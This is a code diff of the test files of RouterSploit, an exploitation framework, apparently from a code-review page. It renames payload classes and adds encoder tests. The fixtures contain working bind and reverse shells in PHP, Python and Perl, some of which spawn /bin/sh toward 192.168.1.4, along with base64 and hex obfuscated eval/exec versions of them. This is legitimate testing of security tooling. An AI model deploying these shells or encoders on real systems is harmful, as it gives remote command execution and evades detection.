assert encoder.encode(bind_tcp) == bind_tcp_encoded
from routersploit.modules.encoders.php.base64 import Encoder
# php bind tcp payload with rport 4321
bind_tcp = (
"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
"socket_bind($s,\"0.0.0.0\",4321);" +
"socket_listen($s,1);" +
"$cl=socket_accept($s);" +
"while(1){" +
"if(!socket_write($cl,\"$ \",2))exit;" +
"$in=socket_read($cl,100);" +
"$cmd=popen(\"$in\",\"r\");" +
"while(!feof($cmd)){" +
"$m=fgetc($cmd);" +
"socket_write($cl,$m,strlen($m));" +
"}}"
)
# php bind tcp payload with rport=4321 encoded with php/base64
bind_tcp_encoded = (
"eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));"
)
def test_payload_encoding():
""" Test scenario - payload encoding """
encoder = Encoder()
assert encoder.encode(bind_tcp) == bind_tcp_encoded
from routersploit.modules.encoders.php.hex import Encoder
# php bind tcp payload with rport 4321
bind_tcp = (
"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
"socket_bind($s,\"0.0.0.0\",4321);" +
"socket_listen($s,1);" +
"$cl=socket_accept($s);" +
"while(1){" +
"if(!socket_write($cl,\"$ \",2))exit;" +
"$in=socket_read($cl,100);" +
"$cmd=popen(\"$in\",\"r\");" +
"while(!feof($cmd)){" +
"$m=fgetc($cmd);" +
"socket_write($cl,$m,strlen($m));" +
"}}"
)
# php bind tcp payload with rport=4321 encoded with php/hex
bind_tcp_encoded = (
"eval(hex2bin('24733d736f636b65745f6372656174652841465f494e45542c534f434b5f53545245414d2c534f4c5f544350293b736f636b65745f62696e642824732c22302e302e302e30222c34333231293b736f636b65745f6c697374656e2824732c31293b24636c3d736f636b65745f616363657074282473293b7768696c652831297b69662821736f636b65745f77726974652824636c2c222420222c322929657869743b24696e3d736f636b65745f726561642824636c2c313030293b24636d643d706f70656e282224696e222c227222293b7768696c65282166656f662824636d6429297b246d3d66676574632824636d64293b736f636b65745f77726974652824636c2c246d2c7374726c656e28246d29293b7d7d'));"
)
def test_payload_encoding():
""" Test scenario - payload encoding """
encoder = Encoder()
assert encoder.encode(bind_tcp) == bind_tcp_encoded
from routersploit.modules.encoders.python.base64 import Encoder
# python bind tcp payload with rport=4321
bind_tcp = (
"import socket,os\n" +
"so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
"so.bind(('0.0.0.0',4321))\n" +
"so.listen(1)\n" +
"so,addr=so.accept()\n" +
"x=False\n" +
"while not x:\n" +
"\tdata=so.recv(1024)\n" +
"\tstdin,stdout,stderr,=os.popen3(data)\n" +
"\tstdout_value=stdout.read()+stderr.read()\n" +
"\tso.send(stdout_value)\n"
)
# python bind tcp payload with rport=4321 encoded with python/base64
bind_tcp_encoded = (
"exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))"
)
def test_payload_enconding():
""" Test scenario - payload encoding """
encoder = Encoder()
assert encoder.encode(bind_tcp) == bind_tcp_encoded
from routersploit.modules.payloads.armle.bind_tcp import Exploit
from routersploit.modules.payloads.armle.bind_tcp import Payload
# armle bind tcp payload with rport=4321
......@@ -54,7 +54,7 @@ elf_armle_bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
......
from routersploit.modules.payloads.armle.reverse_tcp import Exploit
from routersploit.modules.payloads.armle.reverse_tcp import Payload
# armle reverse tcp with lhost=192.168.1.4 lport=4321
......@@ -29,7 +29,7 @@ elf_armle_reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
......
from routersploit.modules.payloads.cmd.awk_bind_tcp import Exploit
from routersploit.modules.payloads.cmd.awk_bind_tcp import Payload
# awk bind tcp payload with rport=4321
......@@ -10,7 +10,7 @@ bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.run() == bind_tcp
from routersploit.modules.payloads.cmd.awk_bind_udp import Exploit
from routersploit.modules.payloads.cmd.awk_bind_udp import Payload
# awk bind udp payload with rport=4321
......@@ -10,7 +10,7 @@ bind_udp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_udp
assert payload.run() == bind_udp
from routersploit.modules.payloads.cmd.awk_reverse_tcp import Exploit
from routersploit.modules.payloads.cmd.awk_reverse_tcp import Payload
# awk reverse tcp payload with lhost=192.168.1.4 lport=4321
......@@ -10,8 +10,8 @@ reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.run() == reverse_tcp
from routersploit.modules.payloads.cmd.bash_reverse_tcp import Exploit
from routersploit.modules.payloads.cmd.bash_reverse_tcp import Payload
# bash reverse tcp payload with lhost=192.168.1.4 lport=4321
......@@ -10,8 +10,8 @@ reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.run() == reverse_tcp
from routersploit.modules.payloads.cmd.netcat_bind_tcp import Exploit
from routersploit.modules.payloads.cmd.netcat_bind_tcp import Payload
# netcat bind tcp payload with rport=4321
......@@ -10,7 +10,7 @@ bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.run() == bind_tcp
from routersploit.modules.payloads.cmd.netcat_reverse_tcp import Exploit
from routersploit.modules.payloads.cmd.netcat_reverse_tcp import Payload
# netcat reverse tcp payload with lhost=192.168.1.4 lport=4321
......@@ -10,8 +10,8 @@ reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.run() == reverse_tcp
from routersploit.modules.payloads.cmd.perl_bind_tcp import Exploit
from routersploit.modules.payloads.cmd.perl_bind_tcp import Payload
# perl bind tcp payload with rport=4321
......@@ -10,7 +10,7 @@ bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.run() == bind_tcp
from routersploit.modules.payloads.cmd.perl_reverse_tcp import Exploit
from routersploit.modules.payloads.cmd.perl_reverse_tcp import Payload
# perl reverse udp payload with lhost=192.168.1.4 lport=4321
......@@ -10,8 +10,8 @@ reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.run() == reverse_tcp
from routersploit.modules.payloads.cmd.php_bind_tcp import Exploit
from routersploit.modules.payloads.cmd.php_bind_tcp import Payload
# php bind tcp payload with rport=4321
......@@ -10,7 +10,7 @@ bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.run() == bind_tcp
from routersploit.modules.payloads.cmd.php_reverse_tcp import Exploit
from routersploit.modules.payloads.cmd.php_reverse_tcp import Payload
# php reverse udp payload with lhost=192.168.1.4 lport=4321
......@@ -10,8 +10,8 @@ reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.run() == reverse_tcp
from routersploit.modules.payloads.cmd.python_bind_tcp import Exploit
from routersploit.modules.payloads.cmd.python_bind_tcp import Payload
# python bind tcp payload with rport=4321
......@@ -10,7 +10,7 @@ bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.run() == bind_tcp
from routersploit.modules.payloads.cmd.python_bind_udp import Exploit
from routersploit.modules.payloads.cmd.python_bind_udp import Payload
# python bind udp payload with rport=4321
......@@ -10,7 +10,7 @@ bind_udp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_udp
assert payload.run() == bind_udp
from routersploit.modules.payloads.cmd.python_reverse_tcp import Exploit
from routersploit.modules.payloads.cmd.python_reverse_tcp import Payload
# python reverse tcp payload with lhost=192.168.1.4 lport=4321
......@@ -10,8 +10,8 @@ reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.run() == reverse_tcp
from routersploit.modules.payloads.cmd.python_reverse_udp import Exploit
from routersploit.modules.payloads.cmd.python_reverse_udp import Payload
# python reverse udp payload with lhost=192.168.1.4 lport=4321
......@@ -10,8 +10,8 @@ reverse_udp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_udp
assert payload.run() == reverse_udp
from routersploit.modules.payloads.mipsbe.bind_tcp import Exploit
from routersploit.modules.payloads.mipsbe.bind_tcp import Payload
# mipsbe bind tcp payload with rport=4321
......@@ -51,7 +51,7 @@ elf_mipsbe_bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
......
from routersploit.modules.payloads.mipsbe.reverse_tcp import Exploit
from routersploit.modules.payloads.mipsbe.reverse_tcp import Payload
# mipsbe reverse tcp with lhost=192.168.1.4 lport=4321
......@@ -46,7 +46,7 @@ elf_mipsbe_reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
......
from routersploit.modules.payloads.mipsle.bind_tcp import Exploit
from routersploit.modules.payloads.mipsle.bind_tcp import Payload
# mipsle bind tcp payload with rport=4321
......@@ -51,7 +51,7 @@ elf_mipsle_bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
......
from routersploit.modules.payloads.mipsle.reverse_tcp import Exploit
from routersploit.modules.payloads.mipsle.reverse_tcp import Payload
# mipsle reverse tcp with lhost=192.168.1.4 lport=4321
......@@ -46,7 +46,7 @@ elf_mipsle_reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
......
from routersploit.modules.payloads.perl.bind_tcp import Exploit
from routersploit.modules.payloads.perl.bind_tcp import Payload
# perl bind tcp payload with rport=4321
bind_tcp = (
"use IO;foreach my $key(keys %ENV){" +
"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort," +
"4321" +
",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){" +
"if($_=~ /(.*)/){system $1;}};"
)
# perl bind tcp payload with rport=4321 encoded with perl/base64
bind_tcp_encoded = (
"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));"
)
......@@ -10,7 +19,8 @@ bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.run() == bind_tcp_encoded
from routersploit.modules.payloads.perl.reverse_tcp import Exploit
from routersploit.modules.payloads.perl.reverse_tcp import Payload
# reverse udp payload with lhost=192.168.1.4 lport=4321
reverse_tcp = (
"use IO;foreach my $key(keys %ENV){" +
"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\"" +
"192.168.1.4:4321" +
"\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};"
)
# reverse udp payload with lhost=192.168.1.4 lport=4321 encoded with perl/base64
reverse_tcp_encoded = (
"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjEuNDo0MzIxIik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3doaWxlKDw+KXtpZigkXz1+IC8oLiopLyl7c3lzdGVtICQxO319Ow=='));"
)
......@@ -10,8 +18,9 @@ reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.run() == reverse_tcp_encoded
from routersploit.modules.payloads.php.bind_tcp import Exploit
from routersploit.modules.payloads.php.bind_tcp import Payload
# php bind tcp payload with rport=4321
# php bind tcp payload with rport 4321
bind_tcp = (
"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
"socket_bind($s,\"0.0.0.0\",4321);" +
"socket_listen($s,1);" +
"$cl=socket_accept($s);" +
"while(1){" +
"if(!socket_write($cl,\"$ \",2))exit;" +
"$in=socket_read($cl,100);" +
"$cmd=popen(\"$in\",\"r\");" +
"while(!feof($cmd)){" +
"$m=fgetc($cmd);" +
"socket_write($cl,$m,strlen($m));" +
"}}"
)
# php bind tcp payload with rport=4321 encoded with php/base64
bind_tcp_encoded = (
"eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));"
)
......@@ -10,7 +26,8 @@ bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.run() == bind_tcp_encoded
from routersploit.modules.payloads.php.reverse_tcp import Exploit
from routersploit.modules.payloads.php.reverse_tcp import Payload
# php reverse tcp payload with lhost=192.168.1.4 lport=4321
reverse_tcp = (
"$s=fsockopen(\"tcp://192.168.1.4\",4321);" +
"while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}"
)
# php reverse tcp payload with lhost=192.168.1.4 lport=4321 encoded with php/base64
reverse_tcp_encoded = (
"eval(base64_decode('JHM9ZnNvY2tvcGVuKCJ0Y3A6Ly8xOTIuMTY4LjEuNCIsNDMyMSk7d2hpbGUoIWZlb2YoJHMpKXtleGVjKGZnZXRzKCRzKSwkbyk7JG89aW1wbG9kZSgiXG4iLCRvKTskby49IlxuIjtmcHV0cygkcywkbyk7fQ=='));"
)
......@@ -10,8 +17,9 @@ reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.run() == reverse_tcp_encoded
from routersploit.modules.payloads.python.bind_tcp import Exploit
from routersploit.modules.payloads.python.bind_tcp import Payload
# python bind tcp payload with rport=4321
bind_tcp = (
"import socket,os\n" +
"so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
"so.bind(('0.0.0.0',4321))\n" +
"so.listen(1)\n" +
"so,addr=so.accept()\n" +
"x=False\n" +
"while not x:\n" +
"\tdata=so.recv(1024)\n" +
"\tstdin,stdout,stderr,=os.popen3(data)\n" +
"\tstdout_value=stdout.read()+stderr.read()\n" +
"\tso.send(stdout_value)\n"
)
# python bind tcp payload with rport=4321 encoded with python/base64
bind_tcp_encoded = (
"exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))"
)
......@@ -10,7 +25,8 @@ bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.run() == bind_tcp_encoded
from routersploit.modules.payloads.python.bind_udp import Exploit
from routersploit.modules.payloads.python.bind_udp import Payload
# python bind udp payload with rport=4321
bind_udp = (
"from subprocess import Popen,PIPE\n" +
"from socket import socket, AF_INET, SOCK_DGRAM\n" +
"s=socket(AF_INET,SOCK_DGRAM)\n" +
"s.bind(('0.0.0.0',4321))\n" +
"while 1:\n"
"\tdata,addr=s.recvfrom(1024)\n" +
"\tout=Popen(data,shell=True,stdout=PIPE,stderr=PIPE).communicate()\n" +
"\ts.sendto(''.join([out[0],out[1]]),addr)\n"
)
# python bind udp payload with rport=4321 encoded with python/base64
bind_udp_encoded = (
"exec('ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbixQSVBFCmZyb20gc29ja2V0IGltcG9ydCBzb2NrZXQsIEFGX0lORVQsIFNPQ0tfREdSQU0Kcz1zb2NrZXQoQUZfSU5FVCxTT0NLX0RHUkFNKQpzLmJpbmQoKCcwLjAuMC4wJyw0MzIxKSkKd2hpbGUgMToKCWRhdGEsYWRkcj1zLnJlY3Zmcm9tKDEwMjQpCglvdXQ9UG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1QSVBFLHN0ZGVycj1QSVBFKS5jb21tdW5pY2F0ZSgpCglzLnNlbmR0bygnJy5qb2luKFtvdXRbMF0sb3V0WzFdXSksYWRkcikK'.decode('base64'))"
)
......@@ -10,7 +22,8 @@ bind_udp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_udp
assert payload.run() == bind_udp_encoded
from routersploit.modules.payloads.python.reverse_tcp import Exploit
from routersploit.modules.payloads.python.reverse_tcp import Payload
# python reverse tcp payload with lhost=192.168.1.4 lport=4321
# python reverse tcp payload with lhost=192.168.1.4 lport 4321
reverse_tcp = (
"import socket,subprocess,os\n" +
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
"s.connect(('192.168.1.4',4321))\n" +
"os.dup2(s.fileno(),0)\n" +
"os.dup2(s.fileno(),1)\n" +
"os.dup2(s.fileno(),2)\n" +
"p=subprocess.call([\"/bin/sh\",\"-i\"])"
)
# python reverse tcp payload with lhost=192.168.1.4 lport=4321 encoded with python/base64
reverse_tcp_encoded = (
"exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJzE5Mi4xNjguMS40Jyw0MzIxKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk='.decode('base64'))"
)
......@@ -10,8 +21,9 @@ reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.run() == reverse_tcp_encoded
from routersploit.modules.payloads.python.reverse_udp import Exploit
from routersploit.modules.payloads.python.reverse_udp import Payload
# python reverse udp payload with lhost=192.168.1.4 lport=4321
reverse_udp = (
"import os\n" +
"import pty\n" +
"import socket\n" +
"s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n" +
"s.connect(('192.168.1.4',4321))\n" +
"os.dup2(s.fileno(), 0)\n" +
"os.dup2(s.fileno(), 1)\n" +
"os.dup2(s.fileno(), 2)\n" +
"pty.spawn('/bin/sh');\n" +
"s.close()\n"
)
# python reverse udp payload with lhost=192.168.1.4 lport=4321 encoded with python/base64
reverse_udp_encoded = (
"exec('aW1wb3J0IG9zCmltcG9ydCBwdHkKaW1wb3J0IHNvY2tldApzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX0RHUkFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjEuNCcsNDMyMSkpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIpCnB0eS5zcGF3bignL2Jpbi9zaCcpOwpzLmNsb3NlKCkK'.decode('base64'))"
)
......@@ -10,8 +24,9 @@ reverse_udp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_udp
assert payload.run() == reverse_udp_encoded
from routersploit.modules.payloads.x64.bind_tcp import Exploit
from routersploit.modules.payloads.x64.bind_tcp import Payload
# bind tcp payload with rport=4321
......@@ -33,7 +33,7 @@ elf_x64_bind_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
......
from routersploit.modules.payloads.x64.reverse_tcp import Exploit
from routersploit.modules.payloads.x64.reverse_tcp import Payload
# reverse tcp with lhost=192.168.1.4 lport=4321
......@@ -31,7 +31,7 @@ elf_x64_reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
......
from routersploit.modules.payloads.x86.bind_tcp import Exploit
from routersploit.modules.payloads.x86.bind_tcp import Payload
# bind tcp payload with rport=4321
......@@ -30,7 +30,7 @@ elf_x86_reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
from routersploit.modules.payloads.x86.reverse_tcp import Exploit
from routersploit.modules.payloads.x86.reverse_tcp import Payload
# reverse tcp with lhost=192.168.1.4 lport=4321
......@@ -29,7 +29,7 @@ elf_x86_reverse_tcp = (
def test_payload_generation():
""" Test scenario - payload generation """
payload = Exploit()
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
......
......@@ -64,7 +64,23 @@ def test_scanner_info(scanner):
@pytest.mark.parametrize("payload", iter_modules("./routersploit/modules/payloads"))
def test_payload_info(payload):
info = payload._Exploit__info__
info = payload._Payload__info__
assert isinstance(info, dict)
assert "name" in info
assert isinstance(info["name"], str)
assert "description" in info
assert isinstance(info["description"], str)
assert "authors" in info
assert isinstance(info["authors"], tuple)
@pytest.mark.parametrize("encoder", iter_modules("./routersploit/modules/encoders"))
def test_encoder_info(encoder):
info = encoder._Encoder__info__
assert isinstance(info, dict)
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment